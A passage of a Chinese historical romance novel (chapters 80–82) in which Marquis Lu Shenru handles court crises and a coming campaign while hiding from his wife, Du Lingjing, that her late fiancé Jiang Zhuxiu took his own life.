少说也得再养一个月,到青州入了秋,天气渐渐转凉才能离去。在此之前, 他仍要继续藏在勉楼的隔层里面。 隔层里闷的厉害,尤其傍晚一场雨下过之后,湿气涌进来,更是令人难耐。二弟耐不住潮热,却见他心绪不佳,宁愿在隔层里陪着他。 “隔层浅窄,多一个人就更热了,”他叫了二弟,“往外转转吧。” 但二弟摇头不肯走,非要陪着他。 这时勉楼里突然有了快步上楼的脚步声。 他一下就听出是谁,而二弟也极其敏锐,当即小声叫了他。 “哥,她又回来勉楼了!” 她之前说她不会再来,让人把她的东西都搬走,亦不肯与他多言,不欲看他。 但今日她突然又来了。 二弟不禁拉了他的袖子,她还没到楼上,他就先高兴了起来。 “我就说,大哥对她的心意,全是真意,无有掺一点假。老天爷怎么会让她感觉不到一点呢?” 二弟兴奋道,“哥,她肯定是来跟你好好说话的!” 好好说话,他也希望是如此。 而她确实是朝着他来的,但她不曾进到隔层里,脚步停在了隔板外。 他一眼看过去,看到她脸上有泪痕,眼中有泪光。 “怎么了……”他不由轻声问出口。 话音未落,她就叫了他。 “公子,我晓得你对我有意,可我从不曾见过公子真容,亦不知道公子是何人。公子于我来说,远如天边流星,你对我有意,我却无法回应。天底下也没有我必须回应的道理吧?” 天底下确实没有这样的道理,可是…… 他彼时没立刻开口,却见她眼中的泪落了下来,手下一直在颤动,似是攥了什么。 他定睛仔细看去,才见那是一方帕子,帕角里绣了竹叶。 是她那蒋家三哥的。 而白色的帕子上,有点点洇开的血迹。 她攥着帕子的手越抖越厉害,眼泪也越掉越快。 “……他去山里养了近半年的身子,他本来都快好了,今日却咳了血……” 言下之意,是他令蒋家三郎咳了血。 那天,他从隔板的缝隙里看向她的眼睛,他知道她看不到她,但她一双眼睛里,他看不到一点对他的温和,他不敢与蒋竹修作比,却连陌生人都不如。 她看他的眼神里只有厌恶与敌意。 他喜欢她有错吗? 但在她眼里,他令蒋竹修吐了血,他就罪无可恕…… 那天,她跟他说的最后一句话。 “勉楼我不会再来了,直到公子离开!” 她说完就走了,跑下了勉楼。 二弟惊颤地扶住了他,“哥你脸色煞白,是不是伤势发作了?!” 他捂住了受了伤的胸口,但伤没有发作,他只是心口有些疼,顿疼地像被人用钝刀砍了数十下。 他跟二弟摇了摇头,说他没事,只哑声,“收拾东西。” 二弟倒吸气,“可是哥,你的伤还没养好。” 他勾起嘴角笑了笑。 她最后那句话的意思还不明显吗? 她不欢迎他,不想再见他,为了她的蒋三哥,她撵他走。 她把话都说到了这个地步,他还怎么留下? 二弟急得要去找杜阁老,被他摁了下来。 当天,他就去跟杜阁老道了谢,告了辞,天亮之前,就把勉楼隔层里的一切全部带走,离开了杜家。 离开青州之后,二弟还不住看他的脸色,每天不知看多少遍,他都说了自己很好,二弟却很惆怅。直到二弟突然发现了一处细作留下的痕迹,要去查探。 那天早上天刚亮,二弟就来找了他。 “哥,我昨晚做梦了。” “什么梦?”他随口问。 二弟却道,“我梦到你把她娶到我们家里来了!我梦到你们成亲了!” 他愣了一愣,却嗤笑了一声,不知是笑自己还是旁的。 “她这么厌恶我,怎么会愿意与我成亲?”他道,“青州的事,以后不必再提。” 他转了身准备走开,二弟却又两步跟了上来。“ “可是哥,我总觉得你们还有缘分!” 他又嘀咕着,嗓音没出息地又低又哑。 “哥你何曾如此喜欢过一个人……” 二弟彼时的话,他没理会。 但就是那日,二弟飞身扑在他身前。 冷箭贯穿了他的喉管。 他再也没有兄弟了。 …… 远岫阁庭院里,有侍卫出现在门边,问侯爷是否有什么吩咐。 陆慎如摇了摇头,天上的云层还低低压着,风丝仍无一缕,他又回到了房中。 刚坐到床边,她就醒了过来。 天气闷热,他见她怔忪坐在床上,问她,“要不要喝杯茶?” 他问去,她却清醒过来。 她说自己去倒就行,“你别动了臂上的伤。” 但陆慎如根本不在乎这点小伤,不许她下床,转身就给她倒了茶来。 她只能喝了。 杜泠静不知道倒茶这种小事,他执意些什么。却见他衣裳早已穿了起来,可外面太还没亮,他不会是还没睡着吧? 她奇怪地向他看去,他问过来。 “娘子在看什么?” 杜泠静问他,“你怎么不睡觉?” “我想到了一些旧事。” 她见他又坐回到了床边来。 “什么旧事?” 她又问去,但他忽的挽住她的后颈,把她拉到他面前,令她的鼻尖压在他挺立的鼻梁上。 呼吸骤然被拉近又丝丝缕缕交错开来。 但他一时没有吻她,就这么以近到不能更近的距离,墨眸垂着,静静看着她的眼睛。 窗下无有月光闯入,帐外只有一盏幽微的小灯闪烁着细弱的光亮。 杜泠静迷惑了一时。 但崇平的脚步突然到了窗外。 崇平语调又快又紧,他惯常并不会这样说话。 “侯爷,宫里传来消息!” 夜还深着,天还没亮,宫里有消息传出来? 杜泠静心下一跳,果见男人也是一顿,立时站了起来,大步往外走去。 杜泠静不禁心提起来,但她听不到窗外人的言语,见崇平与他禀报完,他又转回了房中,但脚步沉沉。 “出了什么事?” 她没了睡意,见他更是直接穿起了外面的衣裳。 她举灯快步走上前来,他脸色极其凝重。 她料想是不是贵妃或是慧王出了事。贵妃倒是一想康健平稳,但小殿下看着却不太健壮。 但都不是,他低低压着声音。 “皇上突发昏迷了。” 话音落地,杜泠静倒吸一气。 说话的工夫,他已大步离开了卧房,眼下宫门落钥,他未经通传不得随意进宫,但却让崇平叫了几个心腹到远岫阁来。 天闷得让人透不过气来,杜泠静也睡意全无了,双手交叠紧握着站在廊下。 她之前就试想过这个问题。 如果皇上薨逝在皇后之前,贵妃无法成为皇后,慧王也不是嫡子,陆惟石这一派处境就十分尴尬艰难了。 皇上身子自登基以来就没大好过,众人倒也习以为常,但这次竟然突发昏迷。 远岫阁陆陆续续点起了灯来,灯影随着人影来来回回地匆促穿梭,不住晃动得人心亦惶惶。 直到天亮,宫里传信早朝果然罢了朝,但宫里没宣任何人,不过永定侯府递了牌子进去。 约莫过了半个时辰,宫里宣侯爷进了宫。 午间暑热喧腾,但满京无风,闷得人透不过气,饶是杜泠静素来沉得住气,此刻也不禁叫秋霖给她打了扇。 扇子一摇一摇地,到了日头西落的时候,侯爷回来了。 他见他娘子一直等在远岫阁书房里,便道,“皇上醒了。” 杜泠静闻言大松了口气。 不过却见他脸色沉着,并无一丝松快,沉闷似好比今日的天,低压到青石板上。 “先前我以为,皇上身子再是不好,怎么也得三五年。但今日看来,说不定用不了一年……说不好,就在下半年。” 下半年? 眼下都五月了。 “余先生他们怎么说?” 他的几位心腹幕僚,不知准备如何应对此事。 她见他略顿了一下,道,“最简单最快的,除掉中宫皇后。” 皇后不死,贵妃不可能上位继后,慧王也不可能是嫡子。 除掉皇后一切就不一样了。 杜泠静闻言默了默,不由看向身边的侯爷。 他要决定除掉皇后吗? 她没问出口,但他却叹了一气。 “皇上对这位发妻极其看重,皇后寝宫等闲人可靠近不了。” 杜泠静抿了抿唇。 就宫宴上她的观察,皇上确实对皇后颇为关心,但皇后对谁都淡淡的,对皇上亦是这般。 两人未见得有多亲密,可皇上又极其在意皇后的身子。 都说他偏宠贵妃陆怀如,但贵妃差的就是这皇后之位,皇上若真偏宠,又怎么如此顾及皇后的身体,盼她长久相伴? 或者人心所爱,本就如此复杂不可捉摸? 杜泠静暗暗想着,却听见身侧人低声道了一句。 “我得回趟西北了。” 他要回西北,杜泠静瞬间意会。 如果事情的发展,走向不利的地步,逢祯无法顺利入主东宫,那么他只能兵压京城。 杜泠静的心跟着他快跳了起来。 她暗暗攥紧了手。 外面的人都骂他,说他永定侯府满门忠烈,独独剩下了他这乱臣贼子。 名声什么的,纵观数千年的历史,其实没太所谓,可他若是一旦兵败…… 杜泠静不禁问出口。 “惟石想好了?” 他没直接回答这个问题,而是沉默了几息,轻声道。 “娘娘其实,算是个命苦的人。”他说自己的胞姐陆怀如。 “僧人道士皆批命,说她生下来便同寻常人不一样,是万中无一的凤命,是注定母仪天下的人……” 旁人或许艳羡,但陆家在西北为国拥兵,已至人臣之极,这凤命却来得奇奇怪怪,以至于引得先帝一众皇子求娶。 先皇彼时的情形,同今日颇有些异曲同工之处,都是早早定下的东宫太子,突然薨逝,而众皇子之中再无嫡子。 陆家不想搅合到夺嫡之事里面来,为陆怀如在舅家寻了一位远亲,就是那位郭将军。 那时陆慎如尚且年少,但他道,“姐姐还真就喜欢他。” 喜欢那个尚且名不见经传的年轻的郭将军。 杜泠静想到了年嘉跟她说得那些传闻。 原来真的有郭将军,原来娘娘真的与人定过亲。 而陆氏大小姐出身的陆怀如,还真就喜欢过那个没名头的年轻将军。 “那郭将军后来……” 陆慎如沉了眉眼,“娘娘嫁人之后,他二人再没见过,后来,他战死在了沙场上。” 果如传闻一样。 杜泠静说不清是如何心绪。 陆慎如却说起自己的姐姐。 “她一顶小轿,以婢妾的身份进了王府后院的时候,连祖父都红了眼睛。我真无法想象,若登极的不是皇上,难道陆家的大小姐,真就一辈子给人做妾?” 他说着,摇了头。 “或许僧人道士批命,真的批对了,她可能真的是那万中无一的凤命。” 但是皇上还迟迟没能立她做皇后。 杜泠静向男人看去,见他眉目威凛了起来,他目光往窗外远远看去。 “就算皇上未能捧她为后,我这个她的亲兄弟,也要力鼎她坐上那最高位,母仪天下!” 他沉了声。 “只有这样,才不枉费她多年的舍身付出,也不枉费整个西北永定军的希冀渴盼!” 他的声音很低很沉,却在杜泠静耳中,如钟鸣般盘旋回荡。 他说自己,“必须要回一趟西北了。” 但杜泠静皱眉看向了他的伤势。 陆慎如知她意思,他口气缓下五分。 “娘子别担心,皇上才刚醒,我总要等他情势平稳,再借机回去。且得些日子呢。” * 蒋家新宅。 蒋枫川送走了来客,惠叔上前收拾茶碗,不由地看向客人的背影。 “老奴怎么瞧着,像是雍王殿下王府中的人。” 不是皇叔兖王,而是文臣拥簇皇子雍王。 蒋枫川将杯中的茶水引了,笑着道是,“惠叔好眼力。雍王殿下身侧没了邵探花,来拉拢我这蒋探花呢。” “啊?”惠叔讶然,“那六爷怎么回应?” 蒋氏是过了世的裕王的外家,可不曾在两王之间站队。 可惠叔却见六爷更笑了。 他听见他道,“雍王殿下赏识,我岂有不应之理?” 他答应了。 这消息没多久就传到了陆慎如耳中。 男人无甚奇怪,蒋枫川可不是他兄长蒋竹修,行事无规无矩的很。 相比之下,蒋竹修倒是颇有些耐性,他并无一省解元的得意骄纵,反而极为沉得住气。 有些事情,他自认为自己做不到,但蒋竹修却能放得下、做得来,或许是极其聪慧,却自有病弱缠身的缘故,蒋竹修同一般人确实不太一样。 那年杜阁老突然过世,葬身山洪之中,他疾驰几天几夜赶去,泉泉没把他认出来,扔下被山雨浇灭的灯扑进蒋竹修怀中,但蒋竹修却看见了他。 在勉楼之时,他就意外与他照过一面,那天,他把泉泉送回房中,敲响了他的门。 他奔马数日,当晚又太晚,只能临时歇在他们落脚的借宿山庄里。 他隐了姓名,只说是路过投宿,山庄主人没现身,让仆从引他下榻。 蒋竹修来的时候,衣襟上夜雨未干,他身上飘出浓重的药气,上前给他行礼,认出了他的身份,叫了一声侯爷。 陆慎如不知他所来何意,他却开门见山。 “我已活不长了。” 他第一句话便是这个,接着怅然又带着些许愧意地向他看来。 他身形消瘦,还未开口就低低咳了两声,通身似浸透了山雨的冷意,但说出的话却是: “若侯爷还对静娘有意,可否等她一等?” 陆慎如看去,听见他极其平静地缓声说了七个字。 “我不会娶她过门。” 他嗓音极轻。 “她已没有了父亲,她叔父再不可靠,而这世道……侯爷若有意,”他眸色平静着请求,“还请给她些时间,再等一等她。” 陆慎如并未开口应答。 他还有意,他还会等,这是显而易见的,但与蒋竹修无关。 可他在没料到,蒋竹修他真的没娶她,竟提前病逝了。 他惊讶,让崇平亲自去查了一查,这才查到他偷偷买了苦楝子到家中去。 所以,是自杀? 陆慎如设想过许多他不娶的可能,独独没想过他会自杀,这个不被世人所接受的方式。 但这事,旁人并不知道,可能只有他身边的惠叔。 但惠叔却跟了那疯子一样的蒋六郎。 陆慎如吩咐了人。 “看住蒋六。” 蒋枫川将他圣前求娶的事,说给他娘子,她就惊愕要离开他。 若是她知道了蒋三自杀之事,又晓得了蒋竹修在山庄,曾同他“保证”过,他不会娶她呢? 陆慎如闭起眼睛,捏了眉心,想到她曾为了她的蒋三郎,撵他走。 难以想象他是谁,知晓蒋竹修是自杀时,她能会怎么想…… 男人抿唇沉默,灯火昏黄。 半晌,他又嘱咐了人。 “把蒋六盯紧。” 但蒋枫川在两日后,偷偷派人离了京,往彼时杜阁老身亡的山中的山庄里去了一趟。 可也有人悄悄跟了上去。【你现在阅读的是 】 80-90 第81章 永定侯府京郊山房。 不与内外院落连同的一处隐秘小院里, 陆慎如抬脚走过去,看到有人正站在廊下,将一盆热到发蔫的兰花搬到阴凉处。 他脚步甫一出现, 搬花的人就警觉地看了过来。 他看到了陆慎如从隐藏的门外踏入,手中的搬动的花盆不知是否继续。 陆侯看了一眼他手中的花, 看到泥土湿润, 花叶上还有残留的水珠,目光又扫过满园。春夏之交,正是花儿争奇斗艳的时候。 他听闻此人最初看都不肯多看这些花一眼,但渐渐地, 这些花已比他打理得花团锦簇。 原来奔走在刀剑上的细作,也会莳花弄草。 他目光打量的时间, 那人已将手中的花盆放了下来。 他是那日被陆侯亲自捉来的三个细作之一,那两个鞑靼人都被人灭了口,但陆侯独独保住了他这汉人。 他说让他活着,果然没杀, 不仅没杀, 还把他从阴湿的地牢里, 带到了这满园花开的院中。 陆侯想让他开口把知道的都讲出来,他知道。 但这个口, 他真的能开吗? 汉人细作暗暗绷了身形看向陆慎如。 男人没再多言,只是从袖中取出一张纸来, 让崇平递了过去。 是他们细作内部接头的图案。 他听见陆侯道,“我刚查到此图, 出自四十多年前就已覆灭的一个鞑靼小部族。” 四十多年前,先帝都还没继位。 他问,“你们缘何有此图?你们与这覆灭的鞑靼部族有什么关系?” 那汉人细作默然看着图不言。 陆慎如也没指望他立时开口, 只是目光又向满园被打理得锦簇的花中看去,他道。 “人活着,或是为了展翅高飞,一览众山,也或是万众期盼,铁肩责任,又或者道义传承,血脉繁衍,但其实大多数人活着不需要理由,就只是想要在这世间的花草山河、熙熙攘攘活着而已。” 细作愣了愣。 陆侯在问他,他想要活着吗? 他唇下抖了抖,但还是紧紧绷着,什么都没说。 他看见陆侯眸中有一闪而过的失望,但又笑了笑。 “你今日可以不告诉我,但是,你得快些决定了。” 说完,他从院中离了去,独留汉人细作,不住低头看向那失落许久的鞑靼部族的图腾…… 陆慎如刚回到京中,就见魏琮已在侯府里等他。 不消他多问,魏琮就把来意说了。 他道近来关外鞑靼人的不安分,并不是临时起意,而是都和一位鞑靼王子有关。 陆慎如微怔,“别是那九王吧?” 鞑靼九王,弘启十四年,永定军出关击敌,便是此人带兵围困了永定军大部。 那年永定军损失惨重,阖军上下恨极了此人,次年他祖父老侯爷带病亲自出关突袭鞑军,险些活捉了此人,以慰永定军半数的亡魂,也可解当年损伤惨重之谜。 但此人颇有些运道,逃过了被捉之命,但亦身受重伤,手下部族又被永定军击溃,他亦在大漠中渐渐销声匿迹。 可此人与永定军的深仇雪恨,双方恐都未忘记。 陆慎如敏锐问去,果见魏琮点了头。 “就是他。” 在背后操纵一次又一次秘袭。 前面多次还无人察觉,直到魏琮在宁夏与其交手,才隐隐察觉不对,派人细细调查,消息刚刚传过来。 陆慎如一听就笑了。 “我只怕他早就死在大漠里,既然活着,又在战场之上,那可再好不过了。” 此人必得死在永定军手上。 魏琮眸色沉了沉,想到了他的二叔父。 那是魏氏最骁勇善战的将军,是整个永定军都不可多得的大将,而他就是在那一战中,被生生割了头,又吊在高岗上,任血流干…… 他嗓音微哑,缓声。 “明日,我奏请皇上,返回西北。” 他回去亲自了解那鞑靼九王。 但他却见侯爷抬了手,“你这次伤得不轻,还是继续休养的好。” “可此人极其难缠,眼下军中众将,除了荣昌伯杨老将军,旁人只怕不行。而荣昌伯……” 魏琮都不想说了。 杨家先出了两个嫡子杀人的事,接着又有杨大小姐杨金瑜在酒中下毒,被锦衣卫捉去,卫国公世子要休妻。 荣昌伯气到昏迷倒地,眼下还卧病在床。 魏琮道,“侯爷还是允我亲自回去的好。” 可陆慎如还是摇了头。 “那侯爷要派谁去?” 陆慎如低声,房中静了一静,他目光遥遥看向了西北那半边天。 “我亲自去。” 魏琮一怔,看住了他。 …… 次日陆侯就上了折子,道西北军中需要整顿,他请命亲自往西北走一趟,料理关事,整顿军务。 皇上病情缓了些许,也算是恢复了上朝。他见到陆慎如的奏请,思量了一日,第二日允了他。 他要往西北整顿军务,杜泠静也知道了,但她这陆侯夫人却不便跟去,陆慎如身份特殊,她留在京中,才能让那些文臣闭嘴,也让宫中安心。 他亦道她不必跟去,“一个多月我就回来了。” 又怕他担心他的伤,跟她道,“只是回去整顿军务,再做些应对朝中事的安排,又不上战场。” 他话是这么说的,但杜泠静却发现他取走了远岫阁卧房里的刀剑。 不是一柄,是两柄。 她站在他空出了小半边的刀架前,心头莫名快跳了一阵。 陆慎如却得了派出去盯梢的侍卫消息,说蒋枫川不知怎么想到了了杜阁老过世时,他们曾借宿过的山庄,让人往那处去了一趟。 陆慎如哼了一声。 那蒋六倒是聪明,知道杜阁老过世这等大事,他必然出现,那么彼时与蒋竹修见过面,也是顺理成章。 往这一处查,还真就能查出来点什么。 但他发了话下去,“不许他一味地查,尤其不许他带什么人回京,更不许带到夫人面前来。” 他蒋六想似上一次那般行事,是不可能了。 陆慎如实是不耐烦听见这蒋六的事,转身回了卧房,见他娘子就站在他的刀架前,长眉蹙着,盯着刀架上空了的两处。 “你要上战场。”她不是问句。 陆慎如没想到她竟从这里瞧出来了,不由失笑。 她却不笑,嗓音闷闷,“你臂上的伤,还完全没好。” 男人走到了她面前。 “不是完全没好,只是没完全好了而已。” 他跟她咬文嚼字起来,杜泠静越发皱紧了眉,抿唇看着他。 受伤上战场岂是小事?她眉眼问他。 他没回,反而问她。 “娘子心疼我?” “我当然心疼夫君。” 她没有犹疑,但陆慎如垂眸细细看着她。 是因为他做了她的夫婿,还是因为他为她受了伤? 他看了她半晌,眼帘垂着,瞳色浓重如云雾,令人不看进内里。 杜泠静不知他在想什么,暗暗猜测着,刚要问上一句,他忽的一笑。 “娘子,我们今夜欢好吧。” 这句话一下打乱了杜泠静的思绪。 这都是什么跟什么,她在说他受了伤,不该上战场的事。 可他看向她的眼中尽是执意。 …… 夜晚的帐中,窗外蝉鸣阵阵,蝉鸣将消减下去的夜中暑气又吸了起来,随着阵阵响亮的鸣叫,全都吐到了帐中。 杜泠静热透到浑身是汗,连脚腕都有汗珠滑落,他则攥上了她滑而细的脚腕,又顺势上滑到她腿弯膝头,将她拢拢抱到身前。 他不知为何心绪似乎不太高昂,但下晌眼中的执意,此刻完全化入到了力道之中。 他用力占有着她,一下一下,连同指尖与唇畔,既不让她逃脱,也不许她走神,而她尽力配合,他却要索取更多。 杜泠静有些受不住了,竟觉得今日仿佛又回到了他们因圣旨赐婚之事争执的时候。 分明是他不肯据实以告,可他的脾气却比她还大,像是受了什么委屈又说不出口,见她不肯与他和好半分,一味倔着,连娘娘都约束不了。 那时的帷帐之间,他就是如此执意。她越是拍他打他,他越是要她,哪怕她气红了眼睛他也不放开。 今次又是这样,莫名间似乎比之前更执意占有。 她低头已见自己身上,处处都是他留下的淡淡红痕,而他还不满意,紧压了她,仿佛要她从外到里,都印满他陆慎如的印记。 “惟石……” 她颤搐,眸中水光迷离,她已每一缕发上都染尽了他的气息。 他才低喘着抱着她,抵上她的额头。 杜泠静自认没有招惹他,抬头向他瞧去,他这次并未霸道地亲吻,也跟前几日一样,就这么以此极近的距离望着她。 “你怎么了?是出了什么事?” 一定有什么事,她想。 但男人只是极淡地笑了笑。 没有出什么事,要说出事其实早就出了。 就是蒋竹修自杀的事。 如果,她知道蒋竹修是自杀,而他早在此之前就等她许多年,她一定也觉得她的三郎的死,与他有关吧? 那时,她还愿意再留在他身边,柔声叫他一声“夫君”? 这话要怎么说?而他不说,也不准备让蒋枫川说出来。 他不敢赌她知道,她最好一直不知道。 他不想跟她中间隔着一个人。 他想与她此生亲密,再无罅隙…… 从浴房回来之后,他把她放回到了床上,杜泠静疲累之至,他替她盖了薄被,陪了她一阵,以为她睡着了,独自穿衣下床,走出了门。 但杜泠静并未睡下,她默默看向他离去的身形。 想到他今次的反常,也想到他在圣旨求娶一事上的古怪沉默,有些一直被她压下的、找不到相似之处、便觉不太可能的猜测,不禁冒了出来。 她想了又想,天色已近泛白了。 陆慎如没回来,先吩咐了崇平些事,又往书房坐了一阵。 明面上,三日之后他要离京,大张旗鼓地前往西北整顿军务。 不过他私下里并不准备三日之后再走。 他欲今晚就走,打那鞑靼九王一个措手不及! 上晌魏琮前来的时候,年嘉也跟了过来。 她一眼见到杜泠静便道,“静娘你没睡好吗?怎么眼下青青的?” 她说着仔细朝杜泠静打量了过来,她忽的盯住了杜泠静的领口和耳后。 “你什么怎么还有……” 一些来路不明的红痕。 年嘉眼睛眨了又眨,杜泠静脸色微热,以为她要嘻嘻问上两句,不想年嘉却转过了头去,清咳了两声,岔开了话题。 她似乎比她的脸还热,杜泠静见她脸上红了红,又听见她道。 “我先前听世子说要回西北,还让人将他修复的甲胄取了回来,后又说不去了,竟换你家侯爷去。” 她在西北三年,颇懂其中门道,不由问杜泠静。 “是不是陆侯要上战场了?你担心得一夜没睡好?” 她倒是会联系因果,杜泠静没有多解释,见她明了,就点了点头。 年嘉连忙安慰了她。 “你别太担心,虽然战场上刀剑无眼,但我们可以去一趟寺里,找主持求一件开了光的平安衣。” 她说是她在西安听来的法子,这平安衣就用要上战场之人的,也就是陆侯爷的,去请主持开光,求一个刀枪不入,平安凯旋。 不过这事最好不要告诉他本人,说是神佛保佑不要说破最好,但其实也是怕穿衣之人上了战场分心。 她见杜泠静一副思虑深重的样子,径直就拉了她,“咱们这就去吧!” 路边。 蒋枫川骑马经过,恰看到了永定侯府的马车。 风吹起车帘,他看到了车中的两人,只是他目光隔着人群更落在杜泠静身上。 他没上前,只是静默地看了她几息,直到车帘又被吹落。 有人上了前来,低声跟他禀报,他之前派出去前往杜阁老过世借宿的山庄调查的人,受阻了。 “似乎是陆侯的人,阻了我们查探,原本查到了有些线索,也找到了一个知道些事的人,但却断了。” 若要继续查下去,恐怕有些难。 蒋枫川闻言抿唇而默,他一时什么都没说,先返回府邸安排了几件事,然后换了衣裳。 “那我就亲自去一趟。” 他亲自过去,他就不信陆慎如能完全拦住他。 谁想他奔马还未及刚刚出京门,就被人拦了下来。 蒋枫川看去对面马上的男子。 “崇统领?” 陆慎如的近身亲卫统领,崇平。 崇平给他浅行一礼,却也并不跟他打圈子,径直道。 “我等劝蒋探花还是留在京中的好。” 原本是暗中阻拦,如今已然明示。 他陆慎如可真是仗势恣意妄为! 他冷笑起来,“看来我三哥之死,果真与他有关,是不是?” 崇平没回答他的问题,只是冷着声看着他。 “侯爷有话,蒋探花有何疑问,径直往侯爷面前问去,就今日,只看探花要不要去了。” 寻常人,谁人感到陆慎如面前问话。 但蒋枫川听了,只说了一个字。 “好!” 他调转了马头,朝着积庆坊永定侯府便去。 另一边,年嘉同杜泠静,在庙里各求了一件主持亲自开光的平安衣,眼见天色不早,各自回了各府。 杜泠静回了府中,就往远岫阁里来。 他先问了一句,“侯爷在何处?” 侍卫道侯爷在远岫阁小厅里见客。 杜泠静轻轻挑眉,他在远岫阁的小厅里见人说的事,多半是重要的密事,那处离卧房最近,等闲人根本过不来。 但侍卫不会拦着自家夫人,这是侯爷特许的。 杜泠静拿着刚起来的平安衣就往卧房里去,但刚走过小厅附近,就隐约看到里面两个人影。 侯爷之外,另一个人影竟有几分眼熟。 但她没看清,只走到了卧房里,悄然将求来的崭新平安衣,夹在了他的诸多贴身衣裳里。 她放好了衣裳,见他书案略显凌乱,走过去想帮他收拾一下。 她推开了一旁的窗子,让光亮透进来。 谁想小厅里的声音亦极近地传到了她耳中。 她一时没听清那人具体说了什么,却听出了他的声音。 “六郎?!”她惊诧。 侯爷有多不待见蒋枫川,没有人比她更知道了。 她惊讶极了,不禁屏气凝神地听去了隔壁的小厅里。 六郎没再开口,开口的人是她的陆侯。 她听见了他怒气隐忍的声音。 “我说了,你三哥的死与我无关,他蒋竹修为什么要给自己下毒自戕而死,我亦不知道!” 暑风把话吹进窗中。 杜泠静却在这一瞬,耳中轰鸣炸响,惊颤地定在了窗下。 第82章 杜泠静悄然从远岫阁陆慎如的卧房离了去, 见亲卫给她行礼,轻声道了一句。 “我来过卧房的事,先不要告诉侯爷。” 侍卫应下, 她从远岫阁离去。 走出门,蒸腾的暑风吹得人惶惶不知去处, 夏蝉拼了命地似地叫喊, 但落在杜泠静耳中空空荡荡的。 她脑海中只反复响起方才听到的那些话。 他说三郎为何会以毒入药,自戕身死,他亦不知道缘由,绝非他所杀。 六郎质问, “陆侯真不知道?就算不是你所杀,可你就没迫过他?” 他说没有, 可六郎又问,“就算你光明磊落,不曾向我三哥明言施压,可暗中呢?又或者说不经意间呢?” 她彼时有一瞬没明白六郎的意思, 直到六郎又开口。 他说侯爷, “你陆侯权倾朝野, 权势滔天,这天下你予取予求, 但凡是你想要的,可有你得不到的?而你想要一个你中意的姑娘, 哪怕她已经有了定亲的夫婿,你根本就不在乎, 你可以当着她未婚夫婿的面,大张旗鼓地等,等上三四年, 五六年,甚至七八年!” 他的声音压抑着不甘的痛处与怒涛,以至于嗓音都尖锐了几分。 杜泠静手下发凉着,凭窗听见他道。 “你陆侯在京畿,为她起高楼,调来工部的匠人,只为给她造一座仅次于皇家藏书阁的高阔书楼,这楼一盖六年!” “而你高居朝堂权力之巅,一人之下万人之上,偏生空着宅院不娶不纳,令满朝文武都盯着你侯夫人的位置,每年都要论你陆侯到底要娶谁人过门;” “还有杜阁老葬身山洪中,众人为他收殓曾借宿的山庄,你不肯让我查,无非就是因为,你得知消息的第一时间,一定奔马赶去了你心头上的那人身边……彼时,当我哥见到你千里奔马出现的时候,他会怎么想?这难道还不算压迫吗?” 他恨声,“那时你与他一定见了,他是怎么做的,怎么说的?!” 侯爷的声音很沉很低,似就浸透着那年的山雨。 “那是我与你哥的事,与你无关。” 可六郎却重重冷哼出口,“你不说我也猜得到,我哥那样温良和善的性子,他一定会说,”他嗓音哑近哭声,“他一定会说他注定活不长,他会说他早晚会把人让给你,他是不是还说,他绝不会娶她过门?” 问声灌进杜泠静耳中的时候,她脚下晃了一晃。 过往那些被束之高阁的回忆,一缕缕又涌上心头。 她亦早早就听说过,永定侯陆侯爷在京郊,耗费无数钱财建造的一座仅次于皇家文澜阁的高楼,她跟三郎叹息,说陆氏的高楼着实令人艳羡,她也想拥有,但他们能勉强撑得勉楼不垮,就不错了,陆氏的楼与她无关。 后来,那楼就成了他给她的嫁妆,由她起名唤作归林楼,而彼时三郎听见她艳羡与叹息,什么也没说,只淡淡地,跟她笑了笑…… 三郎最爱读京中送下来的邸抄,也会打听京里来的消息,中间一度有从京里来勉楼观阅的仕子,某次恰说起京城里最呼风唤雨的人物。 他说陆侯,“也不知怎么,京中人最爱论及陆侯的婚事,偏偏这位陆侯空悬着他陆侯夫人的位置,一年又一年,不知是在等谁?” 那时她听过根本没当回事,三郎却莫名此静默了几息,缓缓看了她一眼…… 父亲过世那年,她急奔赶去那山中,确实就借宿在旁边的山庄里,某夜她辗转反侧不能寐,挑灯走出山庄望向群山。那晚她记得自己遇见了一个奇怪的路人。 那人似乎是从很远的地方骋马急奔至此,她以为他只是路过,见他一眼看见她就翻身下马,迎着飘落的山雨大步向她走来,还以为他只是想问路。她远远地告诉了他去路,又说这山里有山洪,请他快走,但她独独没想过,他就是为她而来。 而三郎找出了山庄,唤着她的名,雨越下越大,打灭了她手里的灯,她弃了灯,再没回看那“路人”一眼,却哭着扑进了三郎的怀里…… 走出远岫阁,恍惚走在令人窒息的暑热风里,六郎质疑的话,和渐渐翻腾出来的旧忆不断起伏交错在她的脑海中。 她想她可能知道,陆惟石到底是什么人了…… 眼角落下泪来,她默默擦掉,忽听见一个熟悉的声音,“侍卫小哥,我们蒋家六爷是不是在侯府里,老朽是蒋家的老仆,能否请我家六爷出来,或者放我进去。” 杜泠静看过去,一眼看到了惠叔又急又慌的脸。 惠叔也在此时看了过来。 “夫人?” 她把惠叔请进了院中,惠叔见了她,却反而支支吾吾起来。 但杜泠静已经都知道了,尤其,知道了三郎的死,竟是自戕。 她哑声问去,“惠叔,三郎他……为什么要以毒入药、自戕了结?” 惠叔闻言愕然顿住,“夫人怎么都知道了?三爷再不想让夫人知道这件事。” 不想让她知道,杜泠静又抹掉眼角一滴泪,“所以到底是为什么?” 可惠叔摇了头。 他说三爷只是说他不想活了,至于到底是什么原因,“老奴也不知道,三爷不曾说过。” 连惠叔都不知道,杜泠静心头丝丝抽疼。 她相信侯爷一定没有强迫过三郎,可是,当三郎明了惟石的心意,是否为了不娶她过门,早点让她嫁给侯爷,而悄无声息地自杀呢? 无解的问题如钝刀一般割着人。 杜泠静得不到答案,却隐隐听到了一些脚步声。 她立时敛去混乱如麻的心绪,叫了惠叔,“请惠叔不要讲出去,我已知道三郎自戕的事。” 侯府眼下正在准备侯爷离京的事,他取走了两柄剑,他会上战场……不管三郎到底因何原因自杀,她都还不想影响他保家卫国、上阵杀敌。 她这话还没得了惠叔的回应,蒋枫川的袍摆就出现在了视野中。 他一眼看见了杜泠静,脚步微滞。 陆慎如亦从另一边也看到了她。 两人皆上前来。 侯爷见她就站在惠叔身侧,心下跳了一跳。 “泉泉……”他略有迟疑地低声唤了她。 杜泠静微顿,又立刻应声。 “侯爷。” 蒋枫川这一时倒未出声。 但陆侯不由地在眼角默默看了他,他不知这蒋六会否就在此刻,发狠全都说出来。 惠叔和杜泠静亦看向了六郎,前者已在混乱中不知所措,而杜泠静十二分地静默。 蒋枫川有一瞬真像不管不顾地全都说了,可他看到了她发上两根淡黄色的飘带,风将她的飘带柔柔地吹绕在她纤薄的肩头,这一刻就如同三哥曾经在手札中,将她的发带编织进风里一样。 